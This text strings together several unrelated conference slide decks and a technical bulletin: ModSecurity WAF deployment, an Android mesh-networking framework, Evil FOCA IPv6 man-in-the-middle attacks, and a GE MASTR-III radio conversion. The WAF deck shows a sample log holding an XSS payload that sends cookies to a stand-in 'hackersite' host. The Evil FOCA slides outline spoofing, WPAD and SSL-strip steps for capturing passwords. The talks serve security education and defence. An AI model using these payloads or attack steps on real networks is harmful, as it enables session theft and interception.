redirected to flow through WAF • DNS configuration • Network-layer redirection  Could be hosted "in the cloud"  Supports use of Apache Virtual Hosts ModSecurity Web App Firewall Deployment Scenarios The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Apache Web Server Embedded Deployment www.example.com VirtualHost ModSecurity DocumentRoot Site Visitor The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Apache Web Server Embedded Deployment www.example.com VirtualHost ModSecurity DocumentRoot Attacker The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Live Demo ModSecurity Embedded Deployment The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Reverse Proxy Deployment Site Visitor Web Server WAF HTTP Request The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Reverse Proxy Deployment Site Visitor Web Server WAF HTTP Request HTTP Response HTTP Response HTTP Request The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Live Demo ModSecurity Reverse Proxy Deployment The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Credit to David (DKZA) Kierznowski, GNUCITIZEN  http://www.gnucitizen.org/blog/content-injection-hack- the-hacker/ • Inject code snippets  Defense  Hijacking JS functions • Redefine alert() with a Logger  A looking glass into client's browser ModSecurity Content Injection The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • The following rule will inject a Java Applet • MyAddress will force attacker's browser to callback to us • Reveals IP of the attacking host  Works despite NAT  Good, we might be only seeing IP of WAF in server log Content Injection An Example The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. SecContentInjection On SecDefaultAction "log,deny,phase:2,status:500,t:none,setvar:tx.alert=1" SecRule TX:ALERT "@eq 1" \ "phase:3,nolog,pass,chain,prepend:'<applet\ code=\"MyAddress.class\" width=0 height=0> \ <param name=\"url\" value=\"grab_ip.php?IP=\"> \ <param name=\"action\" value=\"auto\"> \ </applet>' " SecRule RESPONSE_CONTENT_TYPE "^text/html" Content Injection The Rules The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Below is a snippet from Apache access_log on the server • Reverse Proxy WAF has IP address is 10.0.0.10 • Attacker IP is 172.16.0.20 10.0.0.10 - - [30/May/2008:13:47:11 -0400] "GET /cgi- bin/foo.cgi?param=<script>document.write('<img%20 src="http://hackersite/'+document.cookie+'"')</script> HTTP/1.1" 500 676 10.0.0.10 - - [30/May/2008:13:47:11 -0400] "GET /cgi- bin/grab_ip.php?IP=172.16.0.20 HTTP/1.1" 404 207 Content Injection Apache Access Log The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Live Demo ModSecurity Content Injection The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • "The Dream"  Automated webapp vulnerability assessment (i.e., scanning) instantly mitigates identified flaws through automagic deployment of rules to WAFs. • Until recently, not really feasible  Web App VA generated too many false postives  Web App VA generated too many duplicates  WAFs suffered under too many FPs and duplicates • Vendors are trying again VA + WAF = ??? + Profit !!! The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Insecure Session Handling / Potential Cookie Tampering  WAF can perform transparent cookie encryption/decryption • Flaws in Business Logic  Reliance on a predictable "random" number in URL to provide authentication and authorization • Can be solved with a WAF performing "URL encryption" • Similar to ModSecurity protection against Universal PDF XSS  Many flaws in business logic are very difficult to detect w/ automated tools…  …and difficult to mitigate with a tool like a WAF Limitations of WAFs It’s Just A Tool, Not A Silver Bullet The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. • Vendors will continue to add WAF-like functionality  Load Balancers  Firewalls  IPS and UTM devices • WAF-like funtionality being wrapped into malware  Many already contain SOCKS proxy functionality • Rogue / Malicious WAF Attacks  WPAD-like attack vectors?  WAF Poisoning? • More WAF Bypass Vulnerabilities The Future Some Closing Thoughts The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Thanks to DT, the Goons and everyone who made DEFCON a reality this year! The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Greetz to DC404, Atlanta's DC Group! Speakers: dr.kaos, David Maynor, Scott Moulton & Adam Bregenzer And our very own Goon, dc0de! The Information Security Experts Copyright © 2008 SecureWorks, Inc. All rights reserved. Questions? [email protected]
pdf
Off  Grid  communica.ons  with Android m0nk  and  stoker  have  fun  @  DefCon  20  -­‐  Meshing  the  mobile  world Who  are  you  guys? •  m0nk  –  Josh  Thomas –  [email protected] –  [email protected] •  Stoker  –  Jeff  Robble –  [email protected] –  [email protected] •  We  work  @  The  MITRE  Corpora.on (of  CVE  fame) tl;  dr: •  hTps://github.com/monk-­‐dot A  placeholder  so  m0nk  can  babble Where  data  goes  to  die •  Fukushima •  Katrina •  Hai. •  <  Insert  your  “favorite”  recent  natural  disaster here  > •  Other? Why  do  I  care  about  Mesh  networks? •  Physical  infrastructure  is  prone  to  failure, networks  shouldn’t  be •  Bypass  the  Cellular  networks •  Bypass  Wi-­‐Fi  networks •  Share  informa.on  when  infrastructure  is  broken or  untrustworthy •  Extend  and  bounce  other  networks  via  bridging  / tethering •  Headless Ok,  kind  of  cool.  What  about “Off  Grid”? •  Single  point  of  failure  =  single  point  of sniffing  /  filtering •  I  don’t  trust  someone  else  being  able  to  turn off  my  network,  do  you? •  When  you  want  to  share  info,  but  don't  want anyone  watching  J There  should  really  be  a  funny  pic below Your  pocket  contains  more  than  a  consump.on device  for  Grumpy  Fowl •  Wi-­‐Fi  chip  with  a  fairly  fat  pipe •  Cell  modem  and  baseband  processor •  A  ton  of  sensors •  (Somewhat)  quality  NAND  and  RAM •  A  very  under  clocked  and  underu.lized processor •  Power •  A  boring  screen  that  blinks! The  SPAN  framework •  We  did  the  boring  stuff  so  you  don’t have  to! •  General  Overview  of  the  framework,  what  / why  /  how – Harnessing  SPAN  for  your  own  project? – Repurpose  root  to  muck  with  your  Wi-­‐Fi  chipset SPAN  +  Android  Technical  Architecture Blinkie  on  a  Map Java  Networking  Interface TCP  Socket UDP  Socket MANET  Service Reliable  Transmission  Layer Security  Manager Session  Manager P2P  Chat  App. Other  App. Network  Configura.on Modular  MANET  Rou.ng  Protocol  Framework Manual  Rou.ng  Protocol  Selec.on Automated  Rou.ng  Protocol  Selec.on Proac.ve  Rou.ng  Protocol  Manager Reac.ve  Rou.ng  Protocol  Manager OLSR BATMAN Protocol  3 DSR Protocol  2 Protocol  3 iptables  /  neoilter Linux  Kernel  Rou.ng Transparent  Proxy Data  Flow P2P  Chat  App. Java  Networking  Interface Transparent  Proxy Reliable  Transmission  Layer MANET  Rou.ng  Protocol P2P  Chat  App. Java  Networking  Interface “Hello!” Source  Node Relay  Node Des0na0on  Node [determine  route] [update  network  topology] Transparent  Proxy Reliable  Transmission  Layer MANET  Rou.ng  Protocol Transparent  Proxy Reliable  Transmission  Layer MANET  Rou.ng  Protocol [update  network  topology  /  determine  route] Transparent  Backend Why  we  love  Broadcom •  Flipping  chipsets  into  Ad-­‐Hoc  Mode Kernel  v.  Metal •  Dear  Vendors:  Please  either  stop  mucking  with  your  kernel  source  or provide  it  to  the  community •  Leveraged  Wi-­‐Fi  Tether  for  Root  Users  app. –  Edify  script  for  serng  up  ad-­‐hoc  mode  using  cross-­‐compiled iwconfig •  Some  phone  wi-­‐fi  drivers  don’t  support  ad-­‐hoc  mode –  Wi-­‐Fi  Tether  app.  switched  to  using  sosAP –  sosAP:  sosware  enabled  portable  wireless  access  point •  Needed  to  compile  Wireless  Extensions  support into  kernel –  Compiled  vendor  open  source  sosware –  Dumped  zImage  and  drivers  to  AnyKernel  tree –  Flashed  using  ClockworkMod  Recovery Ad-­‐hoc  Mode hTps://github.com/koush/AnyKernel Why  we  love  Broadcom •  Flipping  chipsets  into  Ad-­‐Hoc  Mode Kernel  v.  Metal •  Dear  Vendors:  Please  either  stop  mucking  with  your  kernel  source  or provide  it  to  the  community. •  Android  <=  4.0  (ICS)  devices  filter  out  UDP  broadcasts  when  the screen  is  off –  WifiManager.WifiLock  doesn’t  help •  First  approach:  Force  screen  to  always  stay  dimmed  even  when user  presses  power  buTon –  Create  wakelock •  powerManager.newWakeLock(PowerManager.SCREEN_DIM_WAKE_LOCK  | PowerManager.ACQUIRE_CAUSES_WAKEUP,  “ADHOC_WAKE_LOCK”) –  Register  an  IntentFilter  for  Intent.ACTION_SCREEN_OFF –  Acquire  wakelock  when  intent  received Where  are  my  packets? •  Second  approach:  Set  dhd_pkt_filter_enabled=0  when loading  wi-­‐fi  kernel  module –  Required  recompiling  Galaxy  Nexus  wi-­‐fi  driver Where  are  my  packets? Plug  and  Play  /  Dynamic  rou.ng algorithms  and  you! •  Adjus.ng  packet  rou.ng  at  run.me,  a  5 minute  primer  on  untrustworthy  rou.ng tables •  The  tradeoffs  of  Bandwidth  vs.  Network  Scale and  Mul.-­‐Hop  headaches •  File  share,  Chat,  Disconnected  TwiTer  and VOIP  over  a  Mesh.  Oh,  the  fun  we  can  have. This  slide  should  not  be  needed •  What  do  I  use  a  network  for? – Chat – Data  and  file  sharing – VoIP – Situa.onal  Awareness  and  Crisis  management – Disconnected  TwiTer Ad-­‐Hoc  Network  Rou.ng  101 •  Why  BATMAN  is  beTer  than  OLSR? A B D C A B D C A B D C Defini.ons Topology Route  to 1-­‐hop  neighbor Route  to  2-­‐hop neighbor •  Op.mized  Link  State  Rou.ng  Protocol  (2003) •  Link-­‐state  protocol – Nodes  know  who  they  can  talk  to – Each  node  calcs  en.re  route  to  every  other  node •  Proac.ve – Routes  periodically  planned  in  advance – Kernel-­‐level  rou.ng  table  modified  on-­‐the-­‐fly •  Dijkstra  Open  Shortest  Path  First  algorithm •  Layer  3  in  OSI  stack hTp://www.ieo.org/rfc/rfc3626.txt A Hello.A Hello.A Hello.A Hello.A Hello.A Hello.A Hello.A Hello.A B B A Find  1-­‐hop  neighbors B A Hello.B B A Asymmetric  Link Asymmetric  Link B A Symmetric  Link A Hello.A Hello.A Hello.A Hello.A Hello.A Hello.A Hello.A Hello.A B B C A Hello.A Find  2-­‐hop  neighbors C B C A B C A D E Mul.-­‐Point  Relay •  A  selects  B  as  MPR – All  2-­‐hop  nodes  reachable  through  B •  All  >  1-­‐hop  routes  from  A  will  go  through  B F •  Pros – BeTer  than  everyone  sharing  everything •  Topology  info  dumps  only  between  MPRs – Incremental  improvements •  Cons – MPRs  are  throughput  choke  points •  Isolated  points  of  failure – En.re  routes  planned  in  advance,  but  next  hop doesn’t  care  about  your  route,  it  uses  its  own OLSR •  BeTer  Approach  to  Mobile  Ad-­‐hoc  Networking (2006) •  Next-­‐gen  OLSR •  Decentralize:  No  single  point  has  all  the  data – No  MPRs – Each  node  sends  out  originator  msgs:  “I  exist” – Every  other  node  keeps  track  of  number  of  hops  an originator  msg  took  to  reach  them BATMAN hTp://www.open-­‐mesh.org/projects/open-­‐mesh/wiki/The-­‐olsr-­‐story •  Simplify:  Only  plan  first  step  in  route – Direct  packets  along  route  with  lowest  originator msg.  hop  count BATMAN •  OLSR  s.ll  the  most  popular •  BATMAN  gaining  trac.on •  We  can  do  beTer  and  so  can  you •  If  you  are  working  in  the  space,  please  email  us. Where  Are  We  Today? Smart  Phones  Have  Sensors! •  BaTery –  Don’t  send  packets  to  phones  going  dead –  Send  more  packets  to  phones  plugged  in •  GPS –  Form  routes  to  phones  closer  to  you –  Form  routes  to  phones  that  don’t  move  osen •  Accelerometer –  Don’t  send  packets  to  phones  in  mo.on –  Predict  phone  movement  and  send  packets  to  phones moving  in  the  right  direc.on Reac.ve  Protocols •  Stale  rou.ng  table  =  What  rou.ng  table? •  No  we  can  play  with  mo.on  and  loca.on  in  a useful  way •  Don’t  forget  that  if  you  pack  node  loca.on into  the  headers  it  can  been  seen  by  others •  Downsides  come  with  throughput  issues An  aside  on  Delay  tolerance •  Disconnected  nodes  act  as  disjoint  message queues •  The  protocol  thinks  of  the  device  as  a  carrier pigeon  (RFC  2549) •  Fall  back  to  message  passing Scale,  Delay  and  Hopping •  Though  we  see  great  improvements,  simple proac.ve  rou.ng  uses  a  ton  of  bandwidth  to stabilize  the  network – S.ll,  we  can  predict  bandwidth  and  throughput metrics – VoiP  good  un.l  we  scale  quite  large •  Reac.ve  rou.ng  has  less  chaTer  with  the same  bandwidth  but  is  laggy •  Mix  them  FTW. More  Tunnels  and  some  preliminary Security •  Jumping  over  the  cell  network  or  Wi-­‐Fi (Mimicking  VPN  with  standard  Tunnels) •  Tunneling  the  mesh  through  the  Internets! – VPN  clusters  and  remote  enclaves •  Securing  the  mesh  from  unwanted  guests •  Jumping  through  unsecured  mobile  nodes Jumping  over  the  cell  network or  Wi-­‐Fi •  Your  phone  has  at  least  2  network  ports (Wi-­‐Fi  &  Cell): – We  can  connect  them – We  can  bridge  them •  Tablet  with  no  cell  chip? – Plug  in  an  ALFA  wireless  USB  dongle •  Virtual  mesh  networks  connected  using  simple VPN  tunnels IP  Address  Assignment •  Sta.c  IP  assignment •  Generate  a  unique  IP  based  on  phone  MAC address,  IMEI,  etc. •  DHCP  requires  a  server  or  global  knowledge  of IPs  in  use A  Security  Paradigm? •  Use  Bluetooth  or  NFC  to  Bump  transfer configura.on  info  and  keys •  Secure  each  link  /  node  with  its  own  keys •  Encrypt  network  data  such  that  bounce  or  hop nodes  cannot  decrypt Security •  Share  symmetric  key  in  config  file  distributed in-­‐person  via  NFC •  Symmetric  encryp.on  using  P2P  Diffie-­‐Helman key  exchanges •  Asymmetric  encryp.on  using  public  /  private key  pair •  A  third  party  cer.ficate  authority  isn’t prac.cal Security hTp://servalpaul.blogspot.com/2012/04/making-­‐security-­‐simple.html •  Serval  public  keys  double  as  network  addresses •  256-­‐bit  Curve25519  public  keys  based  on  the CryptoBox  NaCl  crypto  library •  Network  intrinsically  distributes  keys! •  Uses  CryptoBox  authen.cated  encryp.on  for unicast  traffic •  Uses  CryptoSign  verified  signing  for  publicly readable  broadcast  traffic •  CryptoSign  uses  a  handwriTen  sign  to  confirm iden.ty ICS  &  Wi-­‐Fi  Direct: android.net.wifi.p2p  API •  “Provides  classes  to  create  peer-­‐to-­‐peer  (P2P) connec.ons  over  Wi-­‐Fi  Direct” •  Ini.al  ICS  drop  is  a  very  lame  par.al implementa.on  of  the  spec – Kind  of  works  like  Bluetooth  pairing – Wi-­‐Fi  doesn’t  support  connec.ng  to  an  AP  and P2P  at  the  same  .me •  Possible  upgrade  in  JB? Root  required •  Need  root  to  modify  iptables  /  rou.ng  tables •  Need  root  to  mess  with  Wi-­‐Fi  driver  and  put phone  in  ad-­‐hoc  mode •  Grab  Zerg,  wrap  in  APK  and  pop  the  phone  on install •  Over  the  Air  install? What  about  my…? •  A: – iPhone:  In  Theory – Black  Berry:  Maybe? – Windows  Phone:  Yes  (why  do  you  own  one?) – Arduino  /  GumS.x:  Yes – Netbook  /  Linux  /  Mac  /  Windows  Box:  Yes – Toaster:  Yes  but  Why? •  Framework  is  a  mix  of  Java  and  C – If  your  box  can  run  those… iOS? •  Apple  gave  us  a  built  in  Wi-­‐Fi  proxy configurable  with  the  iPhone  Configura.on U.lity •  Ooohhh,  is  that  an  APN  serng  as  well? •  Cool,  now  all  we  need  is  a  simple  server  to proxy  and  route  our  data What  else  can  we  use  the Mesh  for? •  Mobile  data  redundancy  using  the  Torrent protocol  to  raid  data  across  all  devices? •  Distribute  threads  and  tasks  across  a  cloud  of unused  processors? •  Spoofing? Similar  Projects •  Collabora.on? Freifunk hTp://wiki.freifunk.net/ hTp://berlin.freifunk.net/ •  German  for  "Free  radio” •  Non-­‐commercial  open  grassroots  ini.a.ve  to support  free  open  radio  networks  in  Germany •  Offers  specialized  OpenWrt-­‐firmware – Rou.ng  based  on  OLSR  or  BATMAN •  Freifunk  Berlin  has  500+  nodes hTp://www.servalproject.org/ •  Android  ad-­‐hoc  network  framework •  Implemented  features –  VOIP  calls  between  Serval  Mesh-­‐enabled  phones –  MeshMS,  free  mesh-­‐based  SMS •  Features  under  development –  Serval  Rhizome,  distributed  mesh-­‐based  data  distribu.on plaoorm –  Serval  Maps,  mesh-­‐based  mapping  applica.on –  Serval  Morse,  distributed  micro-­‐blogging  service –  A  simple  API  for  using  Serval  services Future  Work •  VOIP  over  the  mesh •  IP  address  assignment •  Evaluate  and  improve  Serval’s  approach  to security •  iOS  and  Windows  8  port Dumb  enough  to  aTempt  a  demo! •  Oh  wait,  we  already  did? Shameless  Plug •  GitHub  repo: – hTps://github.com/monk-­‐dot Open  Source  Projects  Used •  Wireless  Tether  for  Root  Users –  “This  program  enables  tethering  (via  wifi)  for  rooted  handsets.” –  hTp://code.google.com/p/android-­‐wifi-­‐tether/ •  olsrd –  “An  adhoc  wireless  mesh  rou.ng  daemon” –  hTp://www.olsr.org/ •  monou.l –  “A  simple  tool  for  network  monitoring”  using  neoilter –  hTp://code.google.com/p/monou.l/ •  Processing  for  Android –  “Processing  is  a  language  and  environment  for  people  who  want  to create  images,  anima.ons,  and  interac.ons.” –  hTp://wiki.processing.org/w/Android •  Linux:  iwconfig,  iptables,  dnsmasq,  tcpdump,  etc.
pdf
Fear the Evil FOCA Attacking Internet Connections with IPv6 Chema Alonso @chemaAlonso [email protected] Spain is different Spain is different Spain is different Spain is different ipconfig IPv6 is on your box! And it works!: route print And it works!: ping And it works!: ping LLMNR ICMPv6 (NDP) •  No ARP – No ARP Spoofing – Tools anti-ARP Spoofing are useless •  Neighbor Discovery Protocol uses ICPMv6 – NS: Neighbor Solicitation – NA: Neighbor Advertisement And it works!: Neightbors NS/NA Level 1: Mitm with NA Spoofing NA Spoofing NA Spoofing Demo 1: Mitm using NA Spoofing and capturng SMB files Spaniards! Step 1: Evil FOCA Step 2: Connect to SMB Server Step 3: Wireshark Step 4: Follow TCP Stream LEVEL 2: SLAAC Attack ICMPv6: SLAAC •  Stateless Address Auto Configuration •  Devices ask for routers •  Routers public their IPv6 Address •  Devices auto-configure IPv6 and Gateway – RS: Router Solicitation – RA: Router Advertisement Rogue DHCPv6 DNS Autodiscovery And it works!: Web Browser Not in all Web Browsers… Windows Behavior •  IPv4 & IPv6 (both fully configured) – DNSv4 queries A & AAAA •  IPv6 Only (IPv4 not fully configured) – DNSv6 queries A •  IPv6 & IPv4 Local Link – DNSv6 queries AAAA From A to AAAA DNS64 & NAT64 Demo 2: 8ttp colon SLAAC SLAAC Step 1: No AAAA record Step 2: IPv4 not fully conf. DHCP attack Step 3: Evil FOCA SLAAC Attack Step 4: Victim has Internet over IPv6 Level 3: WPAD attack in IPv6 WebProxy AutoDiscovery •  Automatic configuation of Web Proxy Servers •  Web Browsers search for WPAD DNS record •  Connect to Server and download WPAD.pac •  Configure HTTP connections through Proxy WPAD Attack •  Evil FOCA configures DNS Answers for WPAD •  Configures a Rogue Proxy Server listening in IPv6 network •  Re-route all HTTP (IPv6) connections to Internet (IPv4) Demo 3: WPAD IPv6 Attack Step 1: Victim searhs for WPAD A record using LLMNR Step 2: Evil FOCA answers with AAAA Step 3: Vitim asks (then) for WPAD AAAA Record using LLMNR Step 4: Evil FOCA confirms WPAD IPv6 address… Step 5: Victims asks for WPAD.PAC file in EVIL FOCA IPv6 Web Server Step 6: Evil FOCA Sends WPAD.PAC Step 7: Evil FOCA starts up a Proxy Bonus Level HTTP-s Connections •  SSL Strip –  Remove “S” from HTTP-s links •  SSL Sniff –  Use a Fake CA to create dynamicly Fake CA •  Bridging HTTP-s –  Between Server and Evil FOCA -> HTTP-s –  Between Evil FOCA and victim -> HTTP •  Evil FOCA does SSL Strip and Briding HTTP-s (so far) Google Results Page •  Evil FOCA will: – Take off Google Redirect – SSL Strip any result Step 8: Victim searchs Facebook in Google Step 9: Connects to Facebook Step 10: Grab password with WireShark Other Evil FOCA Attacks •  MiTM IPv6 –  NA Spoofing –  SLAAC attack –  WPAD (IPv6) –  Rogue DHCP •  DOS –  IPv6 to fake MAC using NA Spoofing (in progress) –  SLAAC DOS using RA Storm •  MiTM IPv4 –  ARP Spoofing –  Rogue DHCP (in progress) –  DHCP ACK injection –  WPAD (IPv4) •  DOS IPv4 –  Fake MAC to IPv4 •  DNS Hijacking SLAAC D.O.S. Conclusions •  IPv6 is on your box –  Configure it or kill it (if possible) •  IPv6 is on your network –  IPv4 security controls are not enough –  Topera (port scanner over IPv6) –  Slowloris over IPv6 –  Kaspersky POD –  Michael Lynn & CISCO GATE –  SUDO bug (IPv6) –  … Big Thanks to •  THC (The Hacker’s Choice) –  Included in Back Track/Kali –  Parasite6 –  Redir6 –  Flood_router6 –  ….. •  Scappy Street Fighter “spanish” Vega Enjoy Evil FOCA •  http://www.informatica64.com/evilfoca/ •  Next week, Defcon Version at: •  http://blog.elevenpaths.com •  [email protected] •  @chemaalonso
pdf
Technical Service Bulletin: FXR-10 Modifying GE/MACOM MASTR-III Group 6 (403 MHz – 430 MHz) for Amateur Radio Applications (440 – 450 MHz) A FluX Research project in several phases Release Date: 08-01-2008 Last Update: v1.4 08-01-2008 By: Matt Krick, K3MK [email protected] Radio Model #: GE/MACOM MASTR-III Group 6 Repeater or Base, Combination Number SXS Warning: Please be aware that this document is currently a work in progress which may contain several omissions and or typographical errors, continue reading at your own risk. Background: The following LBIs may be helpful: LBI38540D Mastr IIe / III UTILITY PROGRAM LBI38636C Mastr III CONVENIONAL BASE STATION Installation Manual LBI38550A Mastr II / III SITE EQUIPMENT POWER SUPPLY LBI38625A Mastr III EMERGENCY POWER OPTIONS LBI38754A Mastr III RF PACKAGE VHF GROUP 2 (150.8-174 MHz) LBI38637 Mastr III T/R SHELF 19D902839G1 LBI38671N UHF TRANSMITTER SYNTHESIZER 19D902780G3, G6-G10 LBI38672L UHF RECEIVER SYNTHESIZER 19D902781G3, G7, G8, G10, G12 LBI38673J UHF RECEIVER FRONT END MODULE 19D902782G3, G4 & G7 LBI39129B UHF RECEIVER FRONT END MODULE 19D902782G6, G8-G11 LBI38643B 25kHz RECEIVER IF MODULE 19D902783G1 LBI39123 12.5/25KHZ RECEIVER IF MODULE 19D902783G7 LBI38764C EARLY SYSTEM MODULE 19D902590G1, G3, G5 LBI39176 LATE SYSTEM MODULE 19D902590G6 & G7 LBI38752B SWITCHING POWER SUPPLY MODULE 19D902589G2, 19D902961 LBI38674L Mastr III 75-90-110 WATT POWER AMPLIFIERS 19D902797G3 G6-G11 Phase 0: Preparations Make sure the station to be converted is in good working order on its original frequencies before attempting conversion to Amateur Radio use. Note that a Fault light on the Receiver Synthesizer Module may be the result of a missing External Reference Source, or the result of the previous owner attempting to program the radio out of range. Verify in programming software and set source to internal if that is the case. About 90% of the screws in the MASTR-III T/R Frame are Torx T-15. The remaining are Phillips #2 and T-6, T-8, T-10, which are mostly found in the power supply module and power amplifier. To tune the Receiver Front End module properly, I recommend access to a service monitor with a spectrum analyzer (HP-8920 series, IFR-1600S or similar). It is possible to use a signal generator and a frequency selective RF volt meter, or service monitor with simultaneous generate and receive but not as easy as you can’t see where the peaks and dips are. You will need to acquire a copy of TQ-3353 Mastr-IIe, III Programming Software (M2E.BAT, M3.BAT). This should also come with TQ-0619 (MASTRUTL.BAT) Full Modification requires some surface mount soldering as well as through hole soldering. You will need a quality soldering Iron. I use a Weller with a 800 degree Tip R. You will need basic de-soldering equipment such as a Sold-a-pult ™ and Thick gauge solder wick. 0.015” solder, and fine tweezers is needed for the surface mount parts. You will also need thicker gauge solder such as 0.025” and a brute force tip for use on the VCO coils. I recommend 2% silver solder. The station that was converted contains the following modules: UHF Transmit Synthesizer, Group 6 (403 – 430 MHz) UHF Receive Synthesizer, Group 3 (424.4 MHz - 451.4 MHz) UHF Front End, Group 11 (410 – 430 MHz) UHF Power Amplifier, Group 6 (403 – 425 MHz) Please note that the G11 Front end uses high side LO injection hence the need for a G3 Synthesizer which normally provides low side injection for the G3 (450 – 470 MHz) front end. Phase 1: Operating Frequency Reprogramming Please Refer to LBI38540D Connection to the repeater is done with a straight through DB-9 RS-232 cable. Connect either to the Data Port on the front of the repeater or the DB-9 connection on the rear of the interface board. MASTRUTL.BAT is used as a utility to verify station operation and to set potentiometer values. You will use this application to set the repeat audio levels and transmitter power output. It can also help diagnose the repeater to a degree with the ability to convey that one or more modules are malfunctioning. M2E.BAT and M3.BAT are designed to change the station operating parameters, such as CTCSS tones, hang times and in the case of the MASTR-III the operating frequencies. It is important that the software be in MASTR-III mode. Programming the repeater with the software in M2e mode may inadvertently brick the System Module requiring replacement. Start the software with M3.BAT. Be sure the screen looks like above with the ‘MASTR-III Control Shelf Programming’ at the top. This software has some compatibility issues as it is an older DOS based program. A PIII tablet with a USB to RS-232 adapter and WinXP would not program, but a PII laptop with a hardware based serial port and WinXP would. Read and save the current configuration. Use F6. Read it twice, once as a backup then the other as the file you will be editing. Once that is done highlight the file you will be editing and hit F2. Edit the data to your new operating parameters. We will be using low side injection from the Receiver Synthesizer Module, It is necessary to configure this in the programming. With the RX frequency field highlighted, Press ‘CTRL E’. When prompted, press ‘O’ for opposite side injection. Use F9 over any field to get a description of what it adjusts. For some reason ‘space’ is not an allowed character when programming the morse code ID so don’t pull your hair out. Once done save the data by pressing F10 and then F1 and confirm the over write. Send programming data to the repeater by pressing F5 and selecting the file you just edited. The Fault LEDs on the Transmitter and Receiver synthesizer modules should now be lit as the PLLs are no longer able to lock. There may be a slight flicker on the LEDs as the System Module will be attempting to reset the synthesizers until the Fault clears. Phase 2: UHF Transmitter Synthesizer Module Please Refer to LBI38671N This procedure transforms the module Group 6 (403 – 430 MHz) module fairly close to Group 7 (425 – 450 MHz). My station was equipped with a Group 3 Receive Synthesizer which provides high side injection for the Group 11 Front End. This means the module has a designed output range of 428.6 – 448.6 MHz. Therefore it was decided that the ideal course of action was to switch the VCO coils. Remove the Transmitter Synthesizer Module from the T/R frame. Using a Torx T-15 screwdriver, remove the top and bottom lids of the module. Remove the VCO cover. From the underside of the board desolder L1 and set it aside. L1 should be Red. Remove the excess solder from L1 and the L1 mounting holes on the PCB with solder wick. Remove the Receiver Synthesizer Module from the T/R frame. Using a Torx T-15 screwdriver, remove the top and bottom lids of the module. Remove the VCO cover. Salvage L10 from the Receiver Synthesizer and carefully set it aside. L10 should be Yellow. Remove the excess solder from L10 and the L10 mounting holes on the PCB with solder wick. Perform the following parts swap: Replace C5 with 10pF Ceramic NP0 (C0G) 0805, Please note C5 is on the under side of the board. Solder RX Synthesizer L10 (Yellow) in the TX Synthesizer L1 position. Solder TX Synthesizer L1 (Red) in the RX Synthesizer L10 position. Modified Transmit Synthesizer VCO Please note that C4 and C5 are on the under side of the board. Replace FL201 with GE Part Number 19A705458P5, this part can be found in some Front End Modules. Or retune FL201 to pass approximately 425 – 450 MHz. This is done by soldering a RG-58 jumper to the input side of the filter and sweep generating into it while viewing the output from the RF output jack. Slugs should be approximately 2 turns above flush with the cans. Once tuned place some electrical tape over the slugs. VCO Tuning has to be done with the shielding in place. Reassemble the module and replace the card back into the T/R frame. Do not connect Reference Input yet. Connect a spectrum analyzer or a frequency counter that can tolerate +10dBm and adjust C10 until the module is at the lowest desired usable frequency. I set this at 435 MHz. Metal tools will affect tuning so adjust and remove. If tuning can not be achieved, add 0.5 - 3.3pF capacitor to the C4 position and try again. Temporarily insert the Receive Synthesizer into the T/R frame and connect reference output to the reference input of the Transmit Synthesizer. Put the station into transmit mode and notice that the Fault LED should no longer be lit and module is transmitting on frequency. With a spectrum analyzer verify the output of the module to be approximately 10 - 20 mW (10 – 13 dBm) Transmitter Synthesizer Spectrum Analysis Phase 3: UHF Receiver Synthesizer Module Please Refer to LBI38672L Please note that the Group 11 Front End (410 – 430 MHz) uses a Group 3 (450 – 470 MHz) Synthesizer, which generates high side Local Oscillator injection. We are converting the receiver synthesizer to act similar to a Group 8 (380 – 400 MHz) module, which provides 401.4 – 421.4 MHz. The converted module will now provide low side injection for the Group 11 front end from 403.6 – 428.6 MHz, Note that this is fairly close to the original Group 6 Transmitter. The output frequency of the Receiver Synthesizer Module will be Receive Frequency - 21.4 MHz. i.e. 441.3 MHz - 21.4 MHz = 419.9 MHz. Low side injection is more desirable for Amateur applications as the receive images will be from the Government band opposed to the Commercial band and UHF TV. Remove the Receiver Synthesizer Module from the T/R frame. This should already be disassembled from Phase 2 of the conversion process. Retune filter FL1 to pass 403 – 430 MHz. This is done by soldering a RG-58 jumper to the input side of the filter and sweep generating into it while viewing the output from the LO output jack. Remove C6 and set it aside Replace C3 with 27pF Ceramic NP0 (C0G) 0805 salvaged from C6 Replace C5 with 12pF Ceramic NP0 (C0G) 0805 Replace C6 with 18-22pF Ceramic NP0 (C0G) 0805, Use 22pF for RX 440 – 445 MHz or 18pF for 445 – 450 MHz Modified Receive Synthesizer VCO Reattach the bottom lid and the VCO can. You will now have to remove the Receiver Front End Module and IF Module from the T/R frame so you can access the tuning adjustments of the VCO. Tuning can be done two ways. The first is place the Synthesizer back into the T/R frame and adjust the VCO capacitor, C52 with a ‘greenie’ until the Fault LED extinguishes. ‘Center’ the capacitors tuning range by adjusting C52 and noting where Fault lights and split the difference. Metal tools will affect tuning so adjust and remove. The second method requires a couple of jumpers be installed first. Solder a wire jumper between U14 pin 11 (V_Tune) and +5 found at U15 pin 3. Next install a small wire lead between (Enable Test) found on R86 and Ground found on C63. Insert the module into the T/R frame and connect a frequency counter to LO Output. Adjust C52 for proper LO frequency. If tuning can not be achieved, add 0.5 – 3.3pF capacitor to the C2 position and try again. Remove jumpers. With the Synthesizer locked, Use a quality frequency counter on LO Output and adjust the trimmer on Y1 until the desired LO frequency reads true. This method offers greater error and thus precision then looking at the 12.8 MHz Reference Output. If PLL lock can not be achieved, did you remember to program the receiver to use ‘opposite’ side injection? If not go back and look at Phase 1. Once tuned remove the module from the frame again and replace RF shield. Insert the module back into frame. Verify VCO lock by Fault LED being extinguished. The cover will effect tuning slightly and C52 may need a slight tweak to get it back into lock. Power cycle the repeater 